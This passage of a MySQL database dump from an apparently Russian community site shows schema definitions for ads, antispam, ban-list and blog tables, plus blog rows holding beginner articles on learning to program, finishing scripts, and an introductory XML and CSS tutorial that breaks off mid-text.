-- MySQL dump 10.13  Distrib 5.5.40-36.1, for Linux (x86_64)
--
-- Host: localhost    Database: dum446_wm
-- ------------------------------------------------------
-- Server version	5.5.40-36.1-log

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `ads`
--

DROP TABLE IF EXISTS `ads`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `ads` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  `url` varchar(255) DEFAULT NULL,
  `time_srok` varchar(255) DEFAULT NULL,
  `kogda` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `ads`
--

LOCK TABLES `ads` WRITE;
/*!40000 ALTER TABLE `ads` DISABLE KEYS */;
/*!40000 ALTER TABLE `ads` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `antispam`
--

DROP TABLE IF EXISTS `antispam`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `antispam` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `news` varchar(244) NOT NULL,
  `stena` varchar(244) NOT NULL,
  `chat` varchar(244) NOT NULL,
  `forum_tema` varchar(255) NOT NULL,
  `forum_post` varchar(255) NOT NULL,
  `guest` varchar(255) NOT NULL,
  `blog` varchar(244) NOT NULL,
  `mes` varchar(244) NOT NULL,
  `down` varchar(244) NOT NULL,
  `repa` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `antispam`
--

LOCK TABLES `antispam` WRITE;
/*!40000 ALTER TABLE `antispam` DISABLE KEYS */;
INSERT INTO `antispam` VALUES (1,'30','30','5','360','5','1','30','3','10','1');
/*!40000 ALTER TABLE `antispam` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `arbitr`
--

DROP TABLE IF EXISTS `arbitr`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `arbitr` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `who` int(255) NOT NULL,
  `ho` int(255) NOT NULL,
  `mode` int(1) NOT NULL,
  `ver` int(1) NOT NULL,
  `text` varchar(300) CHARACTER SET utf8 NOT NULL,
  `time` int(50) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `arbitr`
--

LOCK TABLES `arbitr` WRITE;
/*!40000 ALTER TABLE `arbitr` DISABLE KEYS */;
/*!40000 ALTER TABLE `arbitr` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `ban_list`
--

DROP TABLE IF EXISTS `ban_list`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `ban_list` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `kto` varchar(255) DEFAULT NULL,
  `about` varchar(255) DEFAULT NULL,
  `time_play` varchar(255) DEFAULT NULL,
  `time_end` varchar(255) DEFAULT NULL,
  `add_ban` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=cp1251;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `ban_list`
--

LOCK TABLES `ban_list` WRITE;
/*!40000 ALTER TABLE `ban_list` DISABLE KEYS */;
/*!40000 ALTER TABLE `ban_list` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `blog_com`
--

DROP TABLE IF EXISTS `blog_com`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `blog_com` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `msg` text NOT NULL,
  `avtor` varchar(100) NOT NULL,
  `time` varchar(100) NOT NULL,
  `blog` varchar(244) NOT NULL,
  `avtorlogin` varchar(100) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `blog_com`
--

LOCK TABLES `blog_com` WRITE;
/*!40000 ALTER TABLE `blog_com` DISABLE KEYS */;
/*!40000 ALTER TABLE `blog_com` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `blog_r`
--

DROP TABLE IF EXISTS `blog_r`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `blog_r` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(30) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `blog_r`
--

LOCK TABLES `blog_r` WRITE;
/*!40000 ALTER TABLE `blog_r` DISABLE KEYS */;
/*!40000 ALTER TABLE `blog_r` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `blog_reit`
--

DROP TABLE IF EXISTS `blog_reit`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `blog_reit` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `stat` varchar(244) NOT NULL,
  `r` varchar(244) NOT NULL,
  `kto` varchar(100) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `blog_reit`
--

LOCK TABLES `blog_reit` WRITE;
/*!40000 ALTER TABLE `blog_reit` DISABLE KEYS */;
INSERT INTO `blog_reit` VALUES (1,'2','1','14'),(2,'7','1','1');
/*!40000 ALTER TABLE `blog_reit` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `blog_search`
--

DROP TABLE IF EXISTS `blog_search`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `blog_search` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `meta` varchar(100) NOT NULL,
  `kto` varchar(100) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `blog_search`
--

LOCK TABLES `blog_search` WRITE;
/*!40000 ALTER TABLE `blog_search` DISABLE KEYS */;
/*!40000 ALTER TABLE `blog_search` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `blog_stat`
--

DROP TABLE IF EXISTS `blog_stat`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `blog_stat` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `titlename` varchar(100) NOT NULL,
  `text` text NOT NULL,
  `meta` varchar(100) NOT NULL,
  `razdel` varchar(100) NOT NULL,
  `avtor` varchar(100) NOT NULL,
  `time` varchar(100) NOT NULL,
  `readlen` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=14 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `blog_stat`
--

LOCK TABLES `blog_stat` WRITE;
/*!40000 ALTER TABLE `blog_stat` DISABLE KEYS */;
INSERT INTO `blog_stat` VALUES (4,'С чего начать программировать','Предисловие\r\nЗатрагивая столь сложную и обширную тему, как &quot;грабли&quot;, поджидающие новичков в программирования, я намеренно упускаю многие детали, так как иначе, статья получится слишком длинной и запутанной.\r\n\r\nНачало\r\nСуществует один вопрос, который задают себе все начинающие программисты: как стать прогрммистом? - и первым ответом, который возникает в голове вопрошающего бывает - выучить язык программирования! Такой подход изначально ошибочный. Дело в том, что начинать любое дело, становится мастером из подмастерья и изучать науку следует не с инструмента, а с фундамента. Представьте, что вы решили стать первокласным физиком-ядерщиком и начали свое изучение с химической структуры урана. Что из этого выйдет? В лучшем случае вы узнаете что уран нестабилен, и больше ничего. Аналогично слесарь не начинает свою деятельность с изучения молотка, так и программист не начинает с языка программирования. Как я уже сказал ранее, начинать следует с фундамента. Для начала узнайте, что же такое программа, для чего их пишут, какие виды программ бывают. Чтоб было интереснее, можете углубиться в историю программирования, познакомится с первыми потугами программистов в этой области, узнать кто был первым программистам и так далее. Попутно, вы будите узнавать много новых и важных терминов, часто встречающихся в программировании и без знания которых, вы просто не поймете ни языков программирования, ни информатики в целом. Обязательно прочтите одну-две простые, школьные книжки по информатике и основам компьютерной грамотности, это подготовит вас к дальнейшим шагам. Не следует беспокоится о предупреждениях других, мол без знания математики, английского языка и других дисциплин программистам вам не стать, все это чепуха! По ходу обучения вы сами придете к тому, что вам следует подтянуть свой английский и сесть за школьные книжки по алгебре, а на начальных этапах это вовсе не нужно! После того, как вы познакомитесь с информатикой и будете точно уверены в том, что программирование это ваше направление, выберите для себя книгу-учителя по одному из языков программирования. Это может быть любой высокоуровневый язык, такой как: C, pyton, ruby, PHP - я рекомендую начать с PHP или pyton. Обзоведитесь несколькими книгами по выбранному языку, это как если вы будете общаться не с одним, а сразу с несколькими учителями по теме, и объяснение одного может даться вам проще, чем объяснение другого. Обязательно прочтите одну-две главы выбранной книги и удостоверьтесь, что все излагается достаточно подробно, понятно и с примерами, так как некоторые книги расчитаны не на новичков.\r\n\r\nПервые шаги\r\nОбязательно установите компилятор или интерпретатор изучаемого языка (подробную инструкцию можно найти в интернете) и тренируйтесь чаще. Пишите простые программы, чем проще - тем лучше! Конечно мечту написать сложную программу нужно хранить, но лишь для того, чтобы оставался интерес, не следует пытаться сразу писать сложные программы. Читайте чаще, но тщательно выбирайте материал! Я рекомендую обращаться к известным книгам в несколько сотен страниц. Крайне не рекомендую начинать изучение с чужого кода или чтением статей из интернета. От этого вы только себе навредите и никогда не поймете сути прочитанного. Такой подход хорош, когда вы уже хорошо знакомы с программированием и хотите изучить работы других программистов, дабы найти для себя что то новенькое, а на начальном этапе это только запутает, ведь соблазн скопировать чужой код слишком велик. Обязательно пишите &quot;велосипеды&quot;! Реализуйте уже имеющиеся решения собственными руками, это позволит вам понять, как все это работает и прибавит вам практики.\r\nПосле прочтения книг\r\nЧто делать, когда вы уже прочитали одну-две книжки и не видите ничего нового в следующих? Пора писать проекты сложнее! Читайте статьи, общайтесь с другими программистами, пишите сложные (на ваш взгляд) &quot;велосипеды&quot;, не бойтесь, что кто то украдет вашу идею, смело делитесь ей с миром! Запомните - на данном этапе важно ошибаться и учиться на своих ошибках! Не спорьте с другими программистами, старайтесь перенять от них что то, относитесь к своим знаниям критично. Данный этап очень опасен, так как многие программисты начинают считать себя квалифицированными специалистами, но это не так. Поставьте себе новую цель, недостижимую мечту и двигайтесь к ней. Убедите себя, что вам еще есть куда стремиться. На самом деле, вы еще не специалист, а новичок в программировании.\r\n\r\nПрофессиональная деятельность\r\nВот вы уже с легкостью пишите сложные программы и общайтесь с программистами на равных. Пора искать работу! Выбирайте что нибудь интересное для себя. Работа программистом познакомит вас с особенностями бизнес-программирования, когда отчаяно не хватает времени, когда задача ставится размыто, когда предъявляются огромные требования к быстродействию, безопасности и интерфейсу. Это закалит вас, научит решать сложные задачи.\r\nУдачи в начинаниях!\r\nЗатрагивая столь сложную и обширную тему, как &quot;грабли&quot;, поджидающие новичков в программирования, я намеренно упускаю многие детали, так как иначе, статья получится слишком длинной и запутанной.\r\n\r\n&lt;span style=&quot;font-weight: bold;&quot;&gt; Начало &lt;/span&gt;\r\nСуществует один вопрос, который задают себе все начинающие программисты: как стать прогрммистом? - и первым ответом, который возникает в голове вопрошающего бывает - выучить язык программирования! Такой подход изначально ошибочный. Дело в том, что начинать любое дело, становится мастером из подмастерья и изучать науку следует не с инструмента, а с фундамента. Представьте, что вы решили стать первокласным физиком-ядерщиком и начали свое изучение с химической структуры урана. Что из этого выйдет? В лучшем случае вы узнаете что уран нестабилен, и больше ничего. Аналогично слесарь не начинает свою деятельность с изучения молотка, так и программист не начинает с языка программирования. Как я уже сказал ранее, начинать следует с фундамента. Для начала узнайте, что же такое программа, для чего их пишут, какие виды программ бывают. Чтоб было интереснее, можете углубиться в историю программирования, познакомится с первыми потугами программистов в этой области, узнать кто был первым программистам и так далее. Попутно, вы будите узнавать много новых и важных терминов, часто встречающихся в программировании и без знания которых, вы просто не поймете ни языков программирования, ни информатики в целом. Обязательно прочтите одну-две простые, школьные книжки по информатике и основам компьютерной грамотности, это подготовит вас к дальнейшим шагам. Не следует беспокоится о предупреждениях других, мол без знания математики, английского языка и других дисциплин программистам вам не стать, все это чепуха! По ходу обучения вы сами придете к тому, что вам следует подтянуть свой английский и сесть за школьные книжки по алгебре, а на начальных этапах это вовсе не нужно! После того, как вы познакомитесь с информатикой и будете точно уверены в том, что программирование это ваше направление, выберите для себя книгу-учителя по одному из языков программирования. Это может быть любой высокоуровневый язык, такой как: C, pyton, ruby, PHP - я рекомендую начать с PHP или pyton. Обзоведитесь несколькими книгами по выбранному языку, это как если вы будете общаться не с одним, а сразу с несколькими учителями по теме, и объяснение одного может даться вам проще, чем объяснение другого. Обязательно прочтите одну-две главы выбранной книги и удостоверьтесь, что все излагается достаточно подробно, понятно и с примерами, так как некоторые книги расчитаны не на новичков.\r\n\r\n&lt;span style=&quot;font-weight: bold;&quot;&gt; Первые шаги &lt;/span&gt;\r\nОбязательно установите компилятор или интерпретатор изучаемого языка (подробную инструкцию можно найти в интернете) и тренируйтесь чаще. Пишите простые программы, чем проще - тем лучше! Конечно мечту написать сложную программу нужно хранить, но лишь для того, чтобы оставался интерес, не следует пытаться сразу писать сложные программы. Читайте чаще, но тщательно выбирайте материал! Я рекомендую обращаться к известным книгам в несколько сотен страниц. Крайне не рекомендую начинать изучение с чужого кода или чтением статей из интернета. От этого вы только себе навредите и никогда не поймете сути прочитанного. Такой подход хорош, когда вы уже хорошо знакомы с программированием и хотите изучить работы других программистов, дабы найти для себя что то новенькое, а на начальном этапе это только запутает, ведь соблазн скопировать чужой код слишком велик. Обязательно пишите &quot;велосипеды&quot;! Реализуйте уже имеющиеся решения собственными руками, это позволит вам понять, как все это работает и прибавит вам практики.\r\nПосле прочтения книг\r\nЧто делать, когда вы уже прочитали одну-две книжки и не видите ничего нового в следующих? Пора писать проекты сложнее! Читайте статьи, общайтесь с другими программистами, пишите сложные (на ваш взгляд) &quot;велосипеды&quot;, не бойтесь, что кто то украдет вашу идею, смело делитесь ей с миром! Запомните - на данном этапе важно ошибаться и учиться на своих ошибках! Не спорьте с другими программистами, старайтесь перенять от них что то, относитесь к своим знаниям критично. Данный этап очень опасен, так как многие программисты начинают считать себя квалифицированными специалистами, но это не так. Поставьте себе новую цель, недостижимую мечту и двигайтесь к ней. Убедите себя, что вам еще есть куда стремиться. На самом деле, вы еще не специалист, а новичок в программировании.\r\n\r\n&lt;span style=&quot;font-weight: bold;&quot;&gt; Профессиональная деятельность &lt;/span&gt;\r\nВот вы уже с легкостью пишите сложные программы и общайтесь с программистами на равных. Пора искать работу! Выбирайте что нибудь интересное для себя. Работа программистом познакомит вас с особенностями бизнес-программирования, когда отчаяно не хватает времени, когда задача ставится размыто, когда предъявляются огромные требования к быстродействию, безопасности и интерфейсу. Это закалит вас, научит решать сложные задачи.\r\nУдачи в начинаниях!','С чего начать программировать','4','1006','1408545799','15'),(5,'Помощь в написание скриптов.','Попытаюсь кратко изложить проблему и ее решение основанную не только на моем опыте. Попытаюсь затронуть проблему почти каждого кодера новичка. Да, статья именно для Вас новички. Но возможно, она поможет и уже опытным программистам, если имеете данную проблему.\r\n\r\nКогда начинающий программист, стремится начать практиковаться, выходит одна очень плохая манера. не дописывать начатое. Да, такое часто случается, когда появляется отвращение к уже написанным строкам и просто не охота заканчивать. Раньше, я сам сталкивался с такой проблемой. мне нравилось начинать, но не заканчивать. Заставить себя учить РНР и писать скрипты можете только Вы сами. Если пишете скрипт, и вдруг к вам пришла отличная идея другого скрипта, не стоит бросать прошлую работу. Запишите новую идею на бумаге, распишете самому себе ТЗ. Да даже если вы решили написать скрипт, не держите идею скрипта в голове. Весь процесс программы стоит вывести на бумагу. Даже когда Вы будете писать скрипт, мозг забьется посторонней информацией и идея, и желание что-то написать уходит на дальний план, а если вы её оформите в бумажном виде, то при просмотре, через не определенное время, у вас в мозгу снова загорится та искорка. Возможно вы увидите недоработки и снова приложите все силы на написание скрипта. Не забивайте свой мозг лишним кодом, для этого есть различные носители. Почему бумага? Помню еще в школе, учителя говорили нам &quot;Рука пишет - голова запоминает &quot;. Распишите план действий. Когда много раз пишешь одно и тоже, то это надоедает. Я всегда не любил писать удаление/редактирование/добавление постов на форумах/гостевых и т.д. Это скучно и не интересно. Но имея четкий план, зная, чего тебе не хватает до завершения написания скрипта, Вы забудете о том, как не любите писать подобный код. \r\n\r\nВсе же, хочу еще раз повторится. Только Вы сами способны заставить себя что либо делать, если начали не забивайте. Это плохая манера, не развивайте её. Не бросайте начатое. Удачи =)','Помощь в написание скриптов.','4','1006','1408546515','2'),(13,'Xml - это просто!','[b]В последнее время аббревиатура «XML» все чаще встречается в статьях, книгах и разговорах профессионалов (и дилетантов). Многое уже было сказано, и многое еще будет сказано об этой универсальной технологии. Основная цель данной статьи состоит в том, чтобы ввести читателя в мир расширяемого языка разметки и показать некоторые средства, используемые для представления знаний посредством XML-технологий и последующей визуализации этих знаний. Я не собираюсь утомлять читателя пространными описаниями стандартов на документы XML, рекомендуемых консорциумом W3C (зайдите в гости к консорциуму, проживающему по адресу http://www.w3.org; здесь расположена вся официальная документация). О некоторых стандартах и их реализации мы поговорим в следующих статьях, а сейчас наша основная задача — понять, из-за чего, собственно говоря, начался весь этот шум вокруг XML.\r\n\r\nПрежде всего, необходимо отметить, что высказывания вроде «XML позволит решить все проблемы электронной коммерции» или «XML скоро полностью вытеснит HTML» являются в корне неверными и показывают неведение их авторов относительно роли XML в электронном бизнесе и месте расширяемого языка разметки в сфере интернет-технологий. По мнению ведущих экспертов, XML можно использовать как дополнение к HTML. Вероятно, в будущем XML будет применяться для описания данных, тогда как прерогативой HTML останется форматирование и презентация этих данных.\r\n\r\nСудя по наметившимся тенденциям, в будущем XML будет служить связующим звеном между различными платформами и приложениями. Что же касается применения XML в бизнесе, то наилучшей областью для этого специалисты считают B2B (business-to-business). Уже сейчас многие компании, специализирующиеся в электронной коммерции, активно применяют расширяемый язык разметки для улучшения взаимодействия с партнерами.\r\n\r\nЧто же такое XML? Если речь идет о формальном определении, я бы предложил следующее: XML — это универсальный, не зависящий от платформы язык разметки, который можно использовать для представления иерархических данных и унификации передаваемой информации. Сама аббревиатура расшифровывается как Extensible Markup Language, что в переводе означает «расширяемый язык разметки». Как и HTML (Hypertext Markup Language), XML является потомком SGML (Standard General Markup Language) — «дедушки» языков разметки, который в течение многих лет используется в издательском деле. Иногда говорят, что XML — это не язык, а скорее метаязык, с помощью которого можно определять другие языки. Действительно, путем создания новых тэгов и определения новых структур с помощью этих тэгов мы фактически создаем новые языки с их собственным синтаксисом и семантикой.\r\n\r\nПредвижу давно напрашивающийся вопрос: чем же был плох HTML? Последние версии этого языка в сочетании с каскадными таблицами стилей (CSS) позволяют создавать очень красивые web-сайты и обладают практически неограниченными возможностями форматирования гипертекстовых документов. Зачем же нам морочить голову, изобретать и добавлять новые тэги, когда и стандартных элементов (плюс возможности стилевых таблиц) хватает даже для самого причудливого оформления Web-страницы? Дело в том, что XML в его «чистом» виде слабо связан с форматированием документов. Альфа и омега этого языка — возможность семантически и синтаксически корректно описывать сложные структурированные данные. Правильно же представленные данные легче обрабатывать, передавать и представлять пользователю.\r\n\r\nПредставим себе, что нам необходимо описать некоторые данные о человеке, например, его имя и возраст. Следующий фрагмент HTML-документа выполняет эту задачу:\r\n\r\n.....................\r\n&lt;p&gt;Name: Ivan&lt;/p&gt; \r\n&lt;p&gt;Age: 36&lt;/p&gt;    \r\n.....................\r\n\r\nТеперь попробуем сделать то же самое с помощью XML:\r\n\r\n.....................\r\n&lt;name&gt;Ivan&lt;/name&gt; \r\n&lt;age&gt;36&lt;/age&gt;.    \r\n.....................\r\n\r\nЭтот тривиальный пример хорошо демонстрирует различия в представлении данных с помощью HTML и XML. Действительно, то, что относилось к тексту в HTML-представлении (слова «Name» и «Age»), относится к структуре в XML-документе (тэги &lt;name&gt; и &lt;age&gt;). Таким образом, XML позволяет лучше структурировать хранимую и передаваемую информацию. Если в традиционном HTML понятия «представление» и «визуализация» часто смешиваются, то при работе с XML мы четко разделяем эти понятия. Все, что относится к описанию предметной области, делается средствами XML, а то, что относится к визуализации, мы оставляем специальным программам и стилевым таблицам.\r\n\r\nСинтаксис прост, но строг…\r\nРассмотрим следующий простой документ XML:\r\n\r\n................................................................\r\n&lt;?xml version=&quot;1.0&quot;?&gt;\r\n&lt;people&gt;\r\n	&lt;person class=&quot;children&quot;&gt;\r\n		&lt;name&gt;\r\n			&lt;first_name&gt;Ivan&lt;/first_name&gt;\r\n			&lt;second_name&gt;Ivanovich&lt;/second_name&gt;\r\n			&lt;surname&gt;Ivanov&lt;/surname&gt;\r\n		&lt;/name&gt;\r\n		&lt;age&gt;8&lt;/age&gt;\r\n		&lt;hobby&gt;football&lt;/hobby&gt;\r\n	&lt;/person&gt;\r\n	&lt;person&gt;\r\n		&lt;name&gt;\r\n			&lt;first_name&gt;Pyotr&lt;/first_name&gt;\r\n			&lt;second_name&gt;Petrovich&lt;/second_name&gt;\r\n			&lt;surname&gt;Petrov&lt;/surname&gt;\r\n		&lt;/name&gt;\r\n		&lt;age&gt;25&lt;/age&gt;\r\n		&lt;hobby&gt;chess&lt;/hobby&gt;\r\n	&lt;/person&gt;\r\n	&lt;person&gt;\r\n		&lt;name&gt;\r\n			&lt;first_name&gt;Nikolay&lt;/first_name&gt;\r\n			&lt;second_name&gt;Nikolayevich&lt;/second_name&gt;\r\n			&lt;surname&gt;Nikolayev&lt;/surname&gt;\r\n		&lt;/name&gt;\r\n		&lt;age&gt;45&lt;/age&gt;\r\n		&lt;hobby&gt;swimming&lt;/hobby&gt;\r\n	&lt;/person&gt;\r\n&lt;/people&gt;\r\n................................................................\r\n\r\nПервая строка:\r\n\r\n................\r\n&lt;?xml version=&quot;1.0&quot;?&gt; \r\n................\r\n\r\n\r\nявляется декларацией используемой версии языка. В данном случае это версия 1.0. Не пропускайте эту строку в ваших документах!\r\n\r\nВторая строка\r\n\r\n...............\r\n&lt;people&gt;\r\n...............\r\n\r\nописывает корневой элемент документа (the root element). Составитель как бы предупреждает: «этот документ содержит информацию о людях».\r\n\r\nЭлементы, представленные тэгами &lt;person&gt; и &lt;/person&gt; являются дочерними узлами (child nodes) корневого узла &lt;people&gt;. Слово «class» представляет собой имя атрибута, значение которого равно children. Узлы &lt;name&gt;, &lt;age&gt; и &lt;hobby&gt; являются потомками (descendants) узла &lt;people&gt; и дочерними узлами для &lt;person&gt;. Наконец, тэги &lt;first_name&gt;, &lt;second_name&gt; и &lt;surname&gt; — это «дети» для &lt;name&gt;, «внуки» для &lt;person&gt; и «правнуки» для &lt;people&gt;.\r\n\r\nПоследняя строка\r\n\r\n..............\r\n&lt;/people&gt;\r\n..............\r\n\r\nпределяет конец корневого элемента.\r\n\r\nОтметим некоторые особенности синтаксиса XML.\r\n\r\nВ отличие от HTML, все элементы XML должны иметь закрывающий тэг (closing tag). В HTML следующая запись допустима:\r\n\r\n..........................\r\n&lt;p&gt;Это мой первый параграф\r\n&lt;p&gt;Это мой второй параграф\r\n..........................\r\n\r\nВ XML опускать закрывающие тэги нельзя. Для данного примера представление текста в формате XML могло бы выглядеть так:\r\n\r\n................................\r\n&lt;p&gt;Это мой первый параграф&lt;/p&gt;\r\n&lt;p&gt;Это мой второй параграф&lt;/p&gt;\r\n................................\r\n\r\nВпрочем, вместо &lt;p&gt; мы могли бы использовать другой тэг, например, отсутствующий в HTML тэг &lt;prgrph&gt;, благо XML позволяет нам изобретать наши собственные тэги. Заметим, что первая, «декларативная» строка документа не содержит закрывающего тэга. Это не ошибка. Дело в том, что декларации не являются элементами XML и не имеют закрывающих тэгов.\r\n\r\nВ отличие от HTML, тэги XML чувствительны к регистру (case sensitive). Если в HTML строки символов &lt;IMG&gt;, &lt;img&gt; и &lt;Img&gt; представляют собой один и тот же тэг, то в XML эти тэги не эквивалентны. Примеры:\r\n\r\n........................................\r\n&lt;Letter&gt;Это неправильная запись!&lt;/letter&gt;\r\n&lt;letter&gt;Это правильная запись&lt;/letter&gt; \r\n........................................\r\n\r\nВ HTML иногда можно нарушить правила вложения тэгов без тяжелых последствий (в виде сообщения об ошибке). В XML это невозможно. Например, код\r\n\r\n................................\r\n&lt;b&gt;&lt;i&gt;Это жирный курсив&lt;/b&gt;&lt;/i&gt;\r\n................................\r\n\r\nв HTML допускается. В XML такая запись ошибочна. Правильный код выглядел бы так\r\n\r\n..................................\r\n&lt;b&gt;&lt;i&gt;Это жирный курсив&lt;/i&gt;&lt;/b&gt;\r\n..................................\r\n\r\nВ отличие от HTML, все документы XML должны иметь корневой элемент. Все остальные элементы являются «потомками» корневого. При этом строгие правила вложения не должны нарушаться.\r\n\r\nВ отличие от HTML, XML сохраняет пробелы. Строка\r\n\r\n...............................\r\n&lt;p&gt;Это     я!&lt;/p&gt;\r\n...............................\r\n\r\nв HTML будет показана так:\r\n\r\n...........\r\nЭто я!\r\n...........\r\n\r\nВ XML все пробелы будут сохранены.\r\n\r\nВ HTML значения атрибутов элементов часто могут не заключаться в кавычки. В XML все значения атрибутов непременно должны быть заключены в кавычки. Нарушение этого правила обязательно приведет к ошибке. Если в нашем примере третью строку изменить следующим образом:\r\n\r\n..............................\r\n&lt;person class=children&gt;\r\n..............................\r\n\r\nсинтаксис XML будет нарушен.\r\n\r\n«Хорошие» и «плохие» документы\r\nДокументы XML, удовлетворяющие всем требованиям синтаксиса, называют правильными (well-formed). С этой точки зрения построенный нами документ с корневым элементом &lt;people&gt; является правильным. Я надеюсь, что на вашем компьютере заблаговременно был установлен Microsoft Internet Explorer 5.0. Если так, то мы можем проверить «правильность» нашего документа прямо сейчас. Сохраните текст документа в файле myFirstXML.xml и откройте этот файл в Internet Explorer.\r\n\r\nЕсли бы мы допустили какую-нибудь синтаксическую ошибку, например, забыли закрыть какой-нибудь тэг, программа-анализатор сообщила бы нам об этом через окно Internet Explorer.\r\n\r\nСледует отметить, что я перечислил лишь основные правила синтаксиса XML, акцентируя внимание читателя на их отличии от правил построения документов HTML. Кроме правильных документов различают также действительные (valid) документы, которые удовлетворяют специальным определениям типа документа (Document Type Definition, DTD). Определение типа° документа представляет собой описание логической структуры, в соответствии с которой строится документ. DTD определяет части документа и указывает, какие элементы и в каком порядке в них могут размещаться. Определение типа документа — это, по сути дела, набор правил, который передается специальной программе-анализатору (parser) для обработки документа и определения его соответствия правилам построения.\r\n\r\nДетальные определения типа документа не являются обязательными (хотя рекомендуются) для построения XML-документов. В настоящее время разрабатываются новые, быть может, более эффективные средства задания структуры документа (например, так называемые схемы). Обсуждение деталей DTD выходит за рамки данной статьи. Хочу лишь отметить, что первая строка рассмотренного нами ранее документа\r\n\r\n.....................\r\n&lt;?xml version=&quot;1.0&quot;?&gt;\r\n.....................\r\n\r\nявляется частью DTD (в рассмотренном примере DTD содержит лишь одну эту строку).\r\n\r\n\r\n***Презентация документа***\r\n\r\nЯ чувствую, что читатель устал от теоретических рассуждений и ждет конкретных указаний, которые помогли бы ему воочию оценить работу XML. Я уже писал, что XML прежде всего используется для представления, а не для визуализации данных. Тем не менее, существуют изящные методы визуализации документов XML. Попробуем визуализировать рассмотренный ранее документ с помощью каскадных таблиц стилей (CSS), о которых вы, вероятно, уже слышали.\r\n\r\nВизуализация документов XML с помощью CSS по сути ничем не отличается от визуализации документов HTML. Требуется лишь связать нужный документ с нужной таблицей стилей. Что может быть проще?\r\n\r\nСоздайте файл myFirstXML.css в той же папке, что и myFirstXML.xml и занесите в него следующие определения стилей:\r\n\r\n..........................................................\r\nperson {display: block; color: blue; margin-bottom: 30pt}\r\nname {display: block; color: brown}\r\nage, hobby {display: block}\r\nperson.children {background-color: yellow}\r\n..........................................................\r\n\r\nЗдесь display: block означает, что данный элемент нужно представлять в виде отдельного блока в окне браузера, color определяет цвет переднего плана, margin-bottom: 30pt здесь означает, что от каждого элемента &lt;person&gt; следует отступить на 30 пунктов вниз перед показом следующего элемента. Наконец, элементы &lt;person&gt; со значением атрибута class, равным children, следует подсветить желтым цветом.\r\n\r\nНе забудьте сохранить 